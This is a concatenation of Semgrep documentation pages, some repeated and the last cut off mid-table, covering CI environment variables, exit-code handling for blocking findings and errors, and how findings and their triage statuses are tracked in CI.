### `SEMGREP_APP_TOKEN`
**PREREQUISITES**
* You must have a Semgrep AppSec Platform account to use this environment variable.
* You must have a Semgrep AppSec Platform token. To generate a token, see [Creating a `SEMGREP_APP_TOKEN`](/deployment/add-semgrep-to-other-ci-providers#create-a-semgrep_app_token).
Set `SEMGREP_APP_TOKEN` to send findings to Semgrep AppSec Platform and use rules from the **Policies** page. `SEMGREP_APP_TOKEN` is incompatible with `SEMGREP_RULES`.
Example:
```bash theme={null}
export SEMGREP_APP_TOKEN="038846a866f19972ba435754cab85d6bd926ca51107029249eb88441271341ad"
```
**CAUTION**
Do not set `SEMGREP_RULES` environment variable within the same CI job as `SEMGREP_APP_TOKEN`.
### `SEMGREP_BASELINE_REF`
Set `SEMGREP_BASELINE_REF` to enable **[diff-aware scanning](/deployment/customize-ci-jobs#set-up-diff-aware-scans)** for CI providers that are **not** GitHub Actions or GitLab CI/CD. `SEMGREP_BASELINE_REF` typically is set to your codebase's default or trunk branch, such as `main` or `master`.
Example:
```bash theme={null}
export SEMGREP_BASELINE_REF="main"
```
**INFO**
`SEMGREP_BASELINE_REF` is superseded by `SEMGREP_BASELINE_COMMIT`.
### `SEMGREP_BASELINE_COMMIT`
Set `SEMGREP_BASELINE_COMMIT` to a commit hash to use that hash as a baseline for the scan. This means the scan will only show findings that were **not** already present at that hash; any findings that were already present in that hash will not be reported. Generally this is used to enable **[diff-aware scanning](/deployment/customize-ci-jobs#set-up-diff-aware-scans)** for CI providers that are **not** GitHub Actions or GitLab CI/CD.
This environment variable doesn't work if you are not currently in a Git directory, there are unstaged changes, or the given baseline hash doesn't exist or is not available in the CI environment.
If you set `SEMGREP_BASELINE_COMMIT` in CI to enable diff-aware scanning, the ideal value is the git merge-base between the branch being scanned and the target branch that the code will be merged into. For example:
```bash theme={null}
export SEMGREP_BASELINE_COMMIT=$(git merge-base main feature-brach)
```
To avoid hardcoding the branch names, check your CI provider's documentation for available variables that provide the correct values for every CI job. For example, in a Jenkins environment, you can use:
```bash theme={null}
SEMGREP_BASELINE_REF=$(git merge-base $GIT_BRANCH $CHANGE_TARGET)
```
**INFO**
The value of `SEMGREP_BASELINE_COMMIT` is superseded when the option `--baseline-commit` is set as part of the scan command.
### `SEMGREP_ENABLE_VERSION_CHECK`
Set `SEMGREP_ENABLE_VERSION_CHECK` to 0 to **disable** version checks when running `semgrep ci`. By default, Semgrep checks for new versions.
Example:
```bash theme={null}
# Disable version checks when running semgrep ci:
export SEMGREP_ENABLE_VERSION_CHECK="0"
```
### `SEMGREP_GHA_MIN_FETCH_DEPTH`
**TIP**
Only set `SEMGREP_GHA_MIN_FETCH_DEPTH` if you are encountering findings duplication within your diff-aware scans.
Set `SEMGREP_GHA_MIN_FETCH_DEPTH` to configure the **minimum** number of commits `semgrep ci` fetches from `remote` when calculating the merge-base in GitHub Actions. For optimal performance, set `SEMGREP_GHA_MIN_FETCH_DEPTH` with a higher number of commits. Having more commits available helps Semgrep determine what changes came from the current pull request, fixing issues where Semgrep would otherwise report findings that were not touched in a given pull request. This value is set to 0 by default.
Example:
```bash theme={null}
export SEMGREP_GHA_MIN_FETCH_DEPTH="10"
```
### `SEMGREP_GIT_COMMAND_TIMEOUT`
Set `SEMGREP_GIT_COMMAND_TIMEOUT` to set a timeout for each individual Git command that Semgrep runs. The value is in seconds. The default value is 300 seconds (5 minutes).
Example:
```bash theme={null}
# Set each Git command that Semgrep runs to timeout in 3 minutes:
export SEMGREP_GIT_COMMAND_TIMEOUT="180"
```
### `SEMGREP_RULES`
Set `SEMGREP_RULES` to define rules and rulesets for your scan. Findings are logged within your CI environment. `SEMGREP_RULES` is incompatible with `SEMGREP_APP_TOKEN`.
Examples:
```bash theme={null}
# Define a single ruleset:
export SEMGREP_RULES="p/default"
# Define multiple rule sources, delimited by a space:
export SEMGREP_RULES="p/default no-exec.yml"
```
**CAUTION**
Do not set `SEMGREP_APP_TOKEN` environment variable within the same CI job as `SEMGREP_RULES`.
### `SEMGREP_TIMEOUT`
Set `SEMGREP_TIMEOUT` to define a custom timeout. The value must be in seconds. The default value is 5 seconds. This timeout refers to the maximum amount of time Semgrep spends running a single rule on a single file. By default, it attempts to scan each rule/file combination with this timeout three times; you can control this using `--timeout-threshold`.
Example:
```bash theme={null}
export SEMGREP_TIMEOUT="20"
```
## Environment variables for creating hyperlinks in Semgrep AppSec Platform
By default, Semgrep AppSec Platform autodetects values such as the name of your repository, which Semgrep uses to generate hyperlinks (URLs) to the specific repository code that generated the finding. These hyperlinks are in the [Findings](/semgrep-code/findings) page.
Set any as needed or all of the following environment variables to troubleshoot and override autodetected CI environment values.
### `SEMGREP_BRANCH`
Set `SEMGREP_BRANCH` to define the branch name for the scan, if the branch name is not auto-detected or you want to override it. The branch name is used in the following ways:
* To track findings in the same branch over time
* To show in which branches a finding was identified (including links to the branch in the [Findings](/semgrep-code/findings) page)
To avoid hardcoding this value, check your CI provider's documentation for available variables that provide the correct values for every CI job.
Examples:
Within a Bash environment:
```bash theme={null}
# This is a hardcoded value and must be changed to scan other branches.
export SEMGREP_BRANCH="juice-shop-1"
```
Within a Buildkite configuration file:
```yaml theme={null}
- label: ":semgrep: Semgrep"
commands:
# Use a Buildkite environment variable.
# It automatically sets the current branch the job is scanning.
- export SEMGREP_BRANCH=${BUILDKITE_BRANCH}
...
```
Semgrep AppSec Platform normalizes the branch prefix `refs/heads/` for findings, so the branch value `refs/heads/develop` is treated the same way as `develop`.
### `SEMGREP_COMMIT`
Set `SEMGREP_COMMIT` to define the commit hash for the URL used to generate hyperlinks in the [Findings](/semgrep-code/findings) page. To avoid hardcoding this value, check your CI provider's documentation for available variables that provide the correct values for every CI job.
Examples:
Within a Bash environment:
```bash theme={null}
# This is a hardcoded value and must be changed to scan other branches.
export SEMGREP_COMMIT="e0802db56318803b09e1023955d4f4767fc934ed"
```
Within a Bitbucket Pipelines configuration file:
```yaml theme={null}
image: atlassian/default-image:latest
pipelines:
default:
- parallel:
- step:
name: 'Run Semgrep scan with current branch'
script:
# Use a Bitbucket Pipelines environment variable.
# It automatically sets the current commit the job is scanning.
- export SEMGREP_COMMIT=$BITBUCKET_COMMIT
...
```
### `SEMGREP_REPO_NAME`
Set `SEMGREP_REPO_NAME` to create a repository name when scanning with a [CI provider that Semgrep doesn't provide explicit support for](/deployment/add-semgrep-to-other-ci-providers/). For hyperlinks and PR comments to work, this name should be the same as the repository name understood by your CI provider.
To avoid hardcoding this value, check your CI provider's documentation for available variables that provide the correct values for every CI job.
Semgrep automatically detects `SEMGREP_REPO_NAME` if your [provider is listed in Semgrep AppSec Platform](/deployment/add-semgrep-to-other-ci-providers). In this case, there is no need to set the variable.
Examples:
Within a Bash environment:
```bash theme={null}
# This is a hardcoded value and must be changed to scan other repositories.
export SEMGREP_REPO_NAME="corporation/s_juiceshop"
```
Within a CircleCI environment:
```yaml theme={null}
jobs:
semgrep-scan:
environment:
...
# Use a CircleCI environment variable.
# It automatically sets the current repository name the job is scanning.
SEMGREP_REPO_NAME: '$CIRCLE_PROJECT_USERNAME/$CIRCLE_PROJECT_REPONAME'
...
```
### `SEMGREP_REPO_DISPLAY_NAME`
Set `SEMGREP_REPO_DISPLAY_NAME` to define the name displayed for the project in Semgrep AppSec Platform. By default, `SEMGREP_REPO_DISPLAY_NAME` has the same value as `SEMGREP_REPO_NAME`. This allows you to use a different name for your project than the repository name, while retaining hyperlink and PR/MR comment functionality. It can also be used when [scanning a monorepo in parts](/kb/semgrep-ci/scan-monorepo-in-parts) to display each part as a separate project in Semgrep AppSec Platform.
**INFO**
This environment variable only works with Semgrep versions 1.61.1 and later.
Setting `SEMGREP_REPO_DISPLAY_NAME` only changes the project that scan results are reported to. The scan still uses the configuration information, such as [project ignores](/ignoring-files-folders-code#define-ignored-files-and-folders-in-semgrep-appsec-platform), from the repo name detected by Semgrep or set by `SEMGREP_REPO_NAME`.
### `SEMGREP_REPO_URL`
Set `SEMGREP_REPO_URL` to define the repository URL used to generate hyperlinks in the [Findings](/semgrep-code/findings) page. To avoid hardcoding this value, check your CI provider's documentation for available variables that provide the correct values for every CI job.
Examples:
Within a Bash environment:
```bash theme={null}
# This is a hardcoded value and must be changed to scan other repositories.
export SEMGREP_REPO_URL="https://github.com/corporation/s_juiceshop"
```
Within a CircleCI environment:
```yaml theme={null}
jobs:
semgrep-scan:
environment:
...
# Use a CircleCI environment variable.
# It automatically sets the current repository URL.
SEMGREP_REPO_URL: << pipeline.project.git_url >>
...
```
## Environment variable for creating comments in pull requests or merge requests
The following environment variable enables Semgrep AppSec Platform to create comments within your source code management (SCM) tool when Semgrep scans a pull request or merge request. These comments can include code suggestions to fix a finding.
### `SEMGREP_PR_ID`
Set `SEMGREP_PR_ID` to enable Semgrep to leave PR or MR comments in your SCM. Check your CI provider's documentation for available variables that provide the correct values for every CI job.
The following example uses Azure Pipelines:
```yaml theme={null}
...
steps:
- script: |
...
SEMGREP_PR_ID: $(System.PullRequest.PullRequestNumber)
...
```
## Environment variable for creating comments in Bitbucket pull requests
### `BITBUCKET_TOKEN`
**Optional**: If you're not receiving PR comments or your code hyperlinks aren't displaying in Semgrep AppSec Platform, try setting the `BITBUCKET_TOKEN` environment variable. The value of this environment variable must be a Personal Access Token (PAT) generated from Bitbucket Cloud. See [Bitbucket PR comments](/semgrep-appsec-platform/bitbucket-cloud-pr-comments) for instructions.
Example:
```yaml theme={null}
- export BITBUCKET_TOKEN=$PAT
```
## Environment variable to connect to a single-tenant Semgrep AppSec Platform
### `SEMGREP_APP_URL`
Set `SEMGREP_APP_URL` to define the URL of a single-tenant Semgrep AppSec Platform to send findings and use rules from the **Policies** page of a Semgrep organization under the tenant. The default value is the URL of the multi-tenant Semgrep AppSec Platform `https://semgrep.dev`.
Example:
```bash theme={null}
export SEMGREP_APP_URL=https://mycompany.semgrep.dev
```
# Continuous integration (CI) environment variables
Source: https://docs.semgrep.dev/semgrep-ci/ci-environment-variables-1
Use this reference to configure Semgrep's behavior in CI environments by setting environment variables. You can set these variables within a CI configuration file or your CI provider's interface. Refer to your CI provider's documentation for the correct syntax. Examples are written for a Bash environment unless otherwise stated.
**TEST ENVIRONMENT VARIABLES LOCALLY**
* Semgrep attempts to autodetect CI environment variables necessary to run CI scans. You can override these values by setting variables explicitly.
* You can also set many of these environment variables within your local development environment. Set these variables in your command line then run `semgrep ci` while logged in Semgrep CLI to test these environment variables locally.
## Environment variables for configuring scan behavior
These environment variables configure various aspects of your CI job, such as a job's timeout or source of rules.
### `SEMGREP_APP_TOKEN`
**PREREQUISITES**
* You must have a Semgrep AppSec Platform account to use this environment variable.
* You must have a Semgrep AppSec Platform token. To generate a token, see [Creating a `SEMGREP_APP_TOKEN`](/deployment/add-semgrep-to-other-ci-providers#create-a-semgrep_app_token).
Set `SEMGREP_APP_TOKEN` to send findings to Semgrep AppSec Platform and use rules from the **Policies** page. `SEMGREP_APP_TOKEN` is incompatible with `SEMGREP_RULES`.
Example:
```bash theme={null}
export SEMGREP_APP_TOKEN="038846a866f19972ba435754cab85d6bd926ca51107029249eb88441271341ad"
```
**CAUTION**
Do not set `SEMGREP_RULES` environment variable within the same CI job as `SEMGREP_APP_TOKEN`.
### `SEMGREP_BASELINE_REF`
Set `SEMGREP_BASELINE_REF` to enable **[diff-aware scanning](/deployment/customize-ci-jobs#set-up-diff-aware-scans)** for CI providers that are **not** GitHub Actions or GitLab CI/CD. `SEMGREP_BASELINE_REF` typically is set to your codebase's default or trunk branch, such as `main` or `master`.
Example:
```bash theme={null}
export SEMGREP_BASELINE_REF="main"
```
**INFO**
`SEMGREP_BASELINE_REF` is superseded by `SEMGREP_BASELINE_COMMIT`.
### `SEMGREP_BASELINE_COMMIT`
Set `SEMGREP_BASELINE_COMMIT` to a commit hash to use that hash as a baseline for the scan. This means the scan will only show findings that were **not** already present at that hash; any findings that were already present in that hash will not be reported. Generally this is used to enable **[diff-aware scanning](/deployment/customize-ci-jobs#set-up-diff-aware-scans)** for CI providers that are **not** GitHub Actions or GitLab CI/CD.
This environment variable doesn't work if you are not currently in a Git directory, there are unstaged changes, or the given baseline hash doesn't exist or is not available in the CI environment.
If you set `SEMGREP_BASELINE_COMMIT` in CI to enable diff-aware scanning, the ideal value is the git merge-base between the branch being scanned and the target branch that the code will be merged into. For example:
```bash theme={null}
export SEMGREP_BASELINE_COMMIT=$(git merge-base main feature-brach)
```
To avoid hardcoding the branch names, check your CI provider's documentation for available variables that provide the correct values for every CI job. For example, in a Jenkins environment, you can use:
```bash theme={null}
SEMGREP_BASELINE_REF=$(git merge-base $GIT_BRANCH $CHANGE_TARGET)
```
**INFO**
The value of `SEMGREP_BASELINE_COMMIT` is superseded when the option `--baseline-commit` is set as part of the scan command.
### `SEMGREP_ENABLE_VERSION_CHECK`
Set `SEMGREP_ENABLE_VERSION_CHECK` to 0 to **disable** version checks when running `semgrep ci`. By default, Semgrep checks for new versions.
Example:
```bash theme={null}
# Disable version checks when running semgrep ci:
export SEMGREP_ENABLE_VERSION_CHECK="0"
```
### `SEMGREP_GHA_MIN_FETCH_DEPTH`
**TIP**
Only set `SEMGREP_GHA_MIN_FETCH_DEPTH` if you are encountering findings duplication within your diff-aware scans.
Set `SEMGREP_GHA_MIN_FETCH_DEPTH` to configure the **minimum** number of commits `semgrep ci` fetches from `remote` when calculating the merge-base in GitHub Actions. For optimal performance, set `SEMGREP_GHA_MIN_FETCH_DEPTH` with a higher number of commits. Having more commits available helps Semgrep determine what changes came from the current pull request, fixing issues where Semgrep would otherwise report findings that were not touched in a given pull request. This value is set to 0 by default.
Example:
```bash theme={null}
export SEMGREP_GHA_MIN_FETCH_DEPTH="10"
```
### `SEMGREP_GIT_COMMAND_TIMEOUT`
Set `SEMGREP_GIT_COMMAND_TIMEOUT` to set a timeout for each individual Git command that Semgrep runs. The value is in seconds. The default value is 300 seconds (5 minutes).
Example:
```bash theme={null}
# Set each Git command that Semgrep runs to timeout in 3 minutes:
export SEMGREP_GIT_COMMAND_TIMEOUT="180"
```
### `SEMGREP_RULES`
Set `SEMGREP_RULES` to define rules and rulesets for your scan. Findings are logged within your CI environment. `SEMGREP_RULES` is incompatible with `SEMGREP_APP_TOKEN`.
Examples:
```bash theme={null}
# Define a single ruleset:
export SEMGREP_RULES="p/default"
# Define multiple rule sources, delimited by a space:
export SEMGREP_RULES="p/default no-exec.yml"
```
**CAUTION**
Do not set `SEMGREP_APP_TOKEN` environment variable within the same CI job as `SEMGREP_RULES`.
### `SEMGREP_TIMEOUT`
Set `SEMGREP_TIMEOUT` to define a custom timeout. The value must be in seconds. The default value is 5 seconds. This timeout refers to the maximum amount of time Semgrep spends running a single rule on a single file. By default, it attempts to scan each rule/file combination with this timeout three times; you can control this using `--timeout-threshold`.
Example:
```bash theme={null}
export SEMGREP_TIMEOUT="20"
```
## Environment variables for creating hyperlinks in Semgrep AppSec Platform
By default, Semgrep AppSec Platform autodetects values such as the name of your repository, which Semgrep uses to generate hyperlinks (URLs) to the specific repository code that generated the finding. These hyperlinks are in the [Findings](/semgrep-code/findings) page.
Set any as needed or all of the following environment variables to troubleshoot and override autodetected CI environment values.
### `SEMGREP_BRANCH`
Set `SEMGREP_BRANCH` to define the branch name for the scan, if the branch name is not auto-detected or you want to override it. The branch name is used in the following ways:
* To track findings in the same branch over time
* To show in which branches a finding was identified (including links to the branch in the [Findings](/semgrep-code/findings) page)
To avoid hardcoding this value, check your CI provider's documentation for available variables that provide the correct values for every CI job.
Examples:
Within a Bash environment:
```bash theme={null}
# This is a hardcoded value and must be changed to scan other branches.
export SEMGREP_BRANCH="juice-shop-1"
```
Within a Buildkite configuration file:
```yaml theme={null}
- label: ":semgrep: Semgrep"
commands:
# Use a Buildkite environment variable.
# It automatically sets the current branch the job is scanning.
- export SEMGREP_BRANCH=${BUILDKITE_BRANCH}
...
```
Semgrep AppSec Platform normalizes the branch prefix `refs/heads/` for findings, so the branch value `refs/heads/develop` is treated the same way as `develop`.
### `SEMGREP_COMMIT`
Set `SEMGREP_COMMIT` to define the commit hash for the URL used to generate hyperlinks in the [Findings](/semgrep-code/findings) page. To avoid hardcoding this value, check your CI provider's documentation for available variables that provide the correct values for every CI job.
Examples:
Within a Bash environment:
```bash theme={null}
# This is a hardcoded value and must be changed to scan other branches.
export SEMGREP_COMMIT="e0802db56318803b09e1023955d4f4767fc934ed"
```
Within a Bitbucket Pipelines configuration file:
```yaml theme={null}
image: atlassian/default-image:latest
pipelines:
default:
- parallel:
- step:
name: 'Run Semgrep scan with current branch'
script:
# Use a Bitbucket Pipelines environment variable.
# It automatically sets the current commit the job is scanning.
- export SEMGREP_COMMIT=$BITBUCKET_COMMIT
...
```
### `SEMGREP_REPO_NAME`
Set `SEMGREP_REPO_NAME` to create a repository name when scanning with a [CI provider that Semgrep doesn't provide explicit support for](/deployment/add-semgrep-to-other-ci-providers/). For hyperlinks and PR comments to work, this name should be the same as the repository name understood by your CI provider.
To avoid hardcoding this value, check your CI provider's documentation for available variables that provide the correct values for every CI job.
Semgrep automatically detects `SEMGREP_REPO_NAME` if your [provider is listed in Semgrep AppSec Platform](/deployment/add-semgrep-to-other-ci-providers). In this case, there is no need to set the variable.
Examples:
Within a Bash environment:
```bash theme={null}
# This is a hardcoded value and must be changed to scan other repositories.
export SEMGREP_REPO_NAME="corporation/s_juiceshop"
```
Within a CircleCI environment:
```yaml theme={null}
jobs:
semgrep-scan:
environment:
...
# Use a CircleCI environment variable.
# It automatically sets the current repository name the job is scanning.
SEMGREP_REPO_NAME: '$CIRCLE_PROJECT_USERNAME/$CIRCLE_PROJECT_REPONAME'
...
```
### `SEMGREP_REPO_DISPLAY_NAME`
Set `SEMGREP_REPO_DISPLAY_NAME` to define the name displayed for the project in Semgrep AppSec Platform. By default, `SEMGREP_REPO_DISPLAY_NAME` has the same value as `SEMGREP_REPO_NAME`. This allows you to use a different name for your project than the repository name, while retaining hyperlink and PR/MR comment functionality. It can also be used when [scanning a monorepo in parts](/kb/semgrep-ci/scan-monorepo-in-parts) to display each part as a separate project in Semgrep AppSec Platform.
**INFO**
This environment variable only works with Semgrep versions 1.61.1 and later.
Setting `SEMGREP_REPO_DISPLAY_NAME` only changes the project that scan results are reported to. The scan still uses the configuration information, such as [project ignores](/ignoring-files-folders-code#define-ignored-files-and-folders-in-semgrep-appsec-platform), from the repo name detected by Semgrep or set by `SEMGREP_REPO_NAME`.
### `SEMGREP_REPO_URL`
Set `SEMGREP_REPO_URL` to define the repository URL used to generate hyperlinks in the [Findings](/semgrep-code/findings) page. To avoid hardcoding this value, check your CI provider's documentation for available variables that provide the correct values for every CI job.
Examples:
Within a Bash environment:
```bash theme={null}
# This is a hardcoded value and must be changed to scan other repositories.
export SEMGREP_REPO_URL="https://github.com/corporation/s_juiceshop"
```
Within a CircleCI environment:
```yaml theme={null}
jobs:
semgrep-scan:
environment:
...
# Use a CircleCI environment variable.
# It automatically sets the current repository URL.
SEMGREP_REPO_URL: << pipeline.project.git_url >>
...
```
## Environment variable for creating comments in pull requests or merge requests
The following environment variable enables Semgrep AppSec Platform to create comments within your source code management (SCM) tool when Semgrep scans a pull request or merge request. These comments can include code suggestions to fix a finding.
### `SEMGREP_PR_ID`
Set `SEMGREP_PR_ID` to enable Semgrep to leave PR or MR comments in your SCM. Check your CI provider's documentation for available variables that provide the correct values for every CI job.
The following example uses Azure Pipelines:
```yaml theme={null}
...
steps:
- script: |
...
SEMGREP_PR_ID: $(System.PullRequest.PullRequestNumber)
...
```
## Environment variable for creating comments in Bitbucket pull requests
### `BITBUCKET_TOKEN`
**Optional**: If you're not receiving PR comments or your code hyperlinks aren't displaying in Semgrep AppSec Platform, try setting the `BITBUCKET_TOKEN` environment variable. The value of this environment variable must be a Personal Access Token (PAT) generated from Bitbucket Cloud. See [Bitbucket PR comments](/semgrep-appsec-platform/bitbucket-cloud-pr-comments) for instructions.
Example:
```yaml theme={null}
- export BITBUCKET_TOKEN=$PAT
```
## Environment variable to connect to a single-tenant Semgrep AppSec Platform
### `SEMGREP_APP_URL`
Set `SEMGREP_APP_URL` to define the URL of a single-tenant Semgrep AppSec Platform to send findings and use rules from the **Policies** page of a Semgrep organization under the tenant. The default value is the URL of the multi-tenant Semgrep AppSec Platform `https://semgrep.dev`.
Example:
```bash theme={null}
export SEMGREP_APP_URL=https://mycompany.semgrep.dev
```
# Handling blocking findings and errors
Source: https://docs.semgrep.dev/semgrep-ci/configuring-blocking-and-errors-in-ci
This article documents how Semgrep handles blocking findings and errors and how you can change Semgrep's default behavior.
## Blocking findings
Blocking findings are those identified by Semgrep Code using rules defined in Semgrep AppSec Platform's [Policies page](https://semgrep.dev/orgs/-/policies) and are set to **Block** mode. You can avoid blocking findings by removing rules or by switching the rule mode to **Monitor**, **Comment**, or **Disabled**.
If you do **not** use Semgrep AppSec Platform with Semgrep in CI or Semgrep Managed Scans (that is, you are using a **stand-alone setup**), all Semgrep findings are blocking findings. The existence of any findings means that Semgrep returns an exit code of `1`, which you can use to block your PRs or MRs.
## Semgrep's default behavior regarding blocking findings and errors
When Semgrep identifies one or more blocking findings, it returns exit code `1`. You can use this result to set up additional checks to enforce a block in your CI/CD pipeline, such as not allowing the merge of the PR/MR. This action applies to both full scans and diff-aware scans.
The process to enforce a block on a PR or MR after Semgrep exits with error code `1` is dependent on your CI provider. Review your CI provider's documentation for further information.
If Semgrep encounters an internal error, it sends an anonymous crash report to a crash-reporting server and returns exit code 0. If you want to catch internal errors, review the [CLI reference](/cli-reference#exit-codes) for more information about Semgrep's exit codes and the options explained in this article to determine how you want to handle each exit code.
## Configuration options for blocking findings and errors in CI
You can configure, change, or revert to the default setup of blocking findings and errors in your CI pipeline by passing one of the following options in the `semgrep.yml` file used to configure and run Semgrep in your CI pipeline:
| CI option | Description |
| :--------------------------------------------- | :----------------------------------------------------------------------------- |
| `semgrep ci` or `semgrep ci --suppress-errors` | Default. CI **fails** on blocking findings, but **passes** on internal errors. |
| `semgrep ci --no-suppress-errors` | CI **fails** on blocking findings and internal errors. |
| semgrep ci \|\| true | CI **passes** on blocking findings and internal errors. |
To change Semgrep's behavior, modify your pipeline or job file, specifically the `semgrep ci` command, to the CI option that best fits your needs. For example, GitHub users should edit the `semgrep.yml` workflow file and include the following under the `run` key:
```yaml theme={null}
run:
semgrep ci --suppress-errors
```
GitLab users would include the following under the `script` key:
```yaml theme={null}
script:
semgrep ci --suppress-errors
```
If you use any other CI provider, refer to its documentation for information on where to provide this information. Additionally, see the sample configurations in the following section.
## Sample configurations for blocking findings and errors
The following is a sample `.semgrep.yml` file you can use with GitHub Actions. Semgrep's default behavior regarding blocking findings and errors applies here:
* Semgrep returns exit code `1` if there are blocking findings
* Semgrep returns exit code `0` if there are *no* blocking findings, even if there are internal errors. Semgrep does, however, send an anonymous report to the crash-reporting server.
This means that, by default, Semgrep doesn't report statuses other than `0` or `1`.
```yaml expandable theme={null}
# Name of this GitHub Actions workflow.
name: Semgrep
on:
# Scan changed files in PRs (diff-aware scanning):
pull_request: {}
# Scan on-demand through GitHub Actions interface:
workflow_dispatch: {}
# Scan mainline branches if there are changes to .github/workflows/semgrep.yml:
push:
branches:
- main
- master
paths:
- .github/workflows/semgrep.yml
# Schedule the CI job (this method uses cron syntax):
schedule:
- cron: '20 17 * * *' # Sets Semgrep to scan every day at 17:20 UTC.
# It is recommended to change the schedule to a random time.
permissions:
contents: read
jobs:
semgrep:
# User definable name of this GitHub Actions job.
name: semgrep/ci
# If you are self-hosting, change the following `runs-on` value:
runs-on: ubuntu-latest
container:
# A Docker image with Semgrep installed. Do not change this.
image: semgrep/semgrep
# Skip any PR created by dependabot to avoid permission issues:
if: (github.actor != 'dependabot[bot]')
steps:
# Fetch project source with GitHub Actions Checkout. Use either v3 or v4.
- uses: actions/checkout@v6
# Run the "semgrep ci" command on the command line of the docker image.
- run: semgrep ci
env:
# Connect to Semgrep AppSec Platform through your SEMGREP_APP_TOKEN.
# Generate a token from Semgrep AppSec Platform > Settings
# and add it to your GitHub secrets.
SEMGREP_APP_TOKEN: ${{ secrets.SEMGREP_APP_TOKEN }}
```
Optionally, you can explicitly indicate that Semgrep is using the default settings by including the `--suppress-errors` flag. The modified portion of the configuration file is as follows:
```yaml theme={null}
steps:
- uses: actions/checkout@v6
- name: Scan and suppress internal errors
run: semgrep ci --suppress-errors
```
The following code snippets display the position of the default flag in the configuration files of various CI providers:
```yaml theme={null}
script:
- semgrep ci --suppress-errors
```
```yaml theme={null}
commands:
- semgrep ci --suppress-errors
```
```yaml theme={null}
steps:
- checkout
- run:
name: "Semgrep scan"
command: semgrep ci --suppress-errors
```
```yaml theme={null}
steps:
- uses: actions/checkout@v6
- name: Scan and suppress internal errors
run: semgrep ci --suppress-errors
```
```yaml theme={null}
semgrep:
image: semgrep/semgrep
script: semgrep ci --suppress-errors
```
```javascript theme={null}
steps {
sh 'pipx install semgrep'
sh 'semgrep ci --suppress-errors'
}
```
# Findings in CI
Source: https://docs.semgrep.dev/semgrep-ci/findings-ci
When running any Semgrep product in CI, Semgrep is able to track the lifetime of an individual finding. When configured to perform a diff-aware scan, Semgrep only shows new findings relative to some specified baseline commit.
In the code, a Semgrep finding in CI is defined by a 4-tuple:
```text theme={null}
(rule ID, file path, syntactic context, index)
```
These states correspond to:
1. `rule ID`: The rule's ID within the Semgrep ecosystem.
2. `file path`: The filesystem path where the finding occurred.
3. `syntactic context`: The lines of code corresponding to the finding.
4. `index`: An index into identical findings within a file. This is used to disambiguate findings if the same `syntactic context` occurs multiple times in the same file.
## Semgrep Code findings
Semgrep AppSec Platform builds on CI findings to track status and provide additional context for managing findings within your organization. A finding can be one of four statuses in Semgrep AppSec Platform:
* `OPEN`
* `PROVISIONALLY_IGNORED`
* `REVIEWING`
* `FIXING`
* `IGNORED`
* `FIXED`
### Finding status
You can manage finding status through triage in Semgrep AppSec Platform's **Findings** page. The finding statuses are as follows:
| Status | Description |
| :------------------------ | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Open** | Findings are open by default. A finding is open if it was present the last time Semgrep scanned the code and has not been ignored. An open finding represents a match between the code and a rule enabled in the repository. Open findings require action, such as rewriting the code to eliminate the detected vulnerability. |
| **Reviewing** | Indicates that the finding requires investigation to determine what the next steps in the triage process should be. |
| **Provisionally ignored** | Rule-based Semgrep Code findings that Semgrep Multimodal's [Autotriage](/semgrep-multimodal/overview#autotriage) has flagged as likely false positives. You can change the status to **Ignored** if you agree with Multimodal's assessment. Otherwise, you can change the status to **To fix** if you disagree.
**Note**: [AI-powered detection](/semgrep-code/ai-powered-detection-concepts) findings remain **Open** even when Multimodal flags them as false positives. They are **not** automatically set to **Provisionally ignored**; change the status to **Ignored** if you want to dismiss them. |
| **To fix** | Findings that you have decided to fix. Commonly used to indicate that these findings are tracked in Jira or assigned to developers for further work. |
| **Fixed** | Fixed findings were detected in a previous scan but are no longer detected in the most recent scan of that same branch due to changes in the code. |
| **Ignored** | Findings marked as ignored are present in the code but have been labeled unimportant. Ignore false positives or deprioritized issues. Mark findings as [ignored through Semgrep AppSec Platform](/semgrep-code/triage-remediation) or by adding a [nosemgrep code comment](/ignoring-files-folders-code/#reference-summary). You can also provide a reason for ignoring a finding: **False positive**, **Acceptable risk**, **No time to fix**. |
| **Closed** | Vulnerabilities that are no longer detected after a scan. This can be due to changes in the underlying rule or the code. |
### Removed findings
Findings can also be **removed**. Semgrep considers a finding removed if it is not found in the most recent scan of the branch where Semgrep initially detected it due to any of the following conditions:
* The rule that detected the finding isn't enabled in the policy anymore.
* The rule that detected the finding was updated in a way that it no longer detects the finding.
* The file path where the finding appeared is no longer found. The file path was deleted, renamed, added to a `.semgrepignore` file, added to a `.gitignore` file, or added to the list of ignored paths in Semgrep AppSec Platform.
* For GitHub organization accounts: the pull request or merge request where the finding was detected has been closed without merging.
Your removed findings do not count toward the fix rate or the number of findings. The removed findings also do not appear in Semgrep AppSec Platform.
### Triage behavior across refs and branches
* When you triage a finding as ignored, reviewing, fixing, or reopened, Semgrep always triages across other branches and [Git references](https://git-scm.com/book/en/v2/Git-Internals-Git-References) (refs).
* At scan time, there's automatic triaging that occurs in specific cases, and the behavior changes depending on the type of scan:
* **Full scans**: if the current branch includes a finding that was
* Previously introduced in another branch ***and***
* Triaged to a specific state
**Then** the finding in the current branch is triaged to that same state.
* **Diff-aware scan**: findings introduced in a diff-aware scan are **not** automatically triaged at scan time, even if there are other instances of that finding on branches that have been triaged.
# Findings in CI
Source: https://docs.semgrep.dev/semgrep-ci/findings-ci-1
When running any Semgrep product in CI, Semgrep is able to track the lifetime of an individual finding. When configured to perform a diff-aware scan, Semgrep only shows new findings relative to some specified baseline commit.
In the code, a Semgrep finding in CI is defined by a 4-tuple:
```text theme={null}
(rule ID, file path, syntactic context, index)
```
These states correspond to:
1. `rule ID`: The rule's ID within the Semgrep ecosystem.
2. `file path`: The filesystem path where the finding occurred.
3. `syntactic context`: The lines of code corresponding to the finding.
4. `index`: An index into identical findings within a file. This is used to disambiguate findings if the same `syntactic context` occurs multiple times in the same file.
## Semgrep Code findings
Semgrep AppSec Platform builds on CI findings to track status and provide additional context for managing findings within your organization. A finding can be one of four statuses in Semgrep AppSec Platform:
* `OPEN`
* `PROVISIONALLY_IGNORED`
* `REVIEWING`
* `FIXING`
* `IGNORED`
* `FIXED`
### Finding status
You can manage finding status through triage in Semgrep AppSec Platform's **Findings** page. The finding statuses are as follows:
| Status | Description |
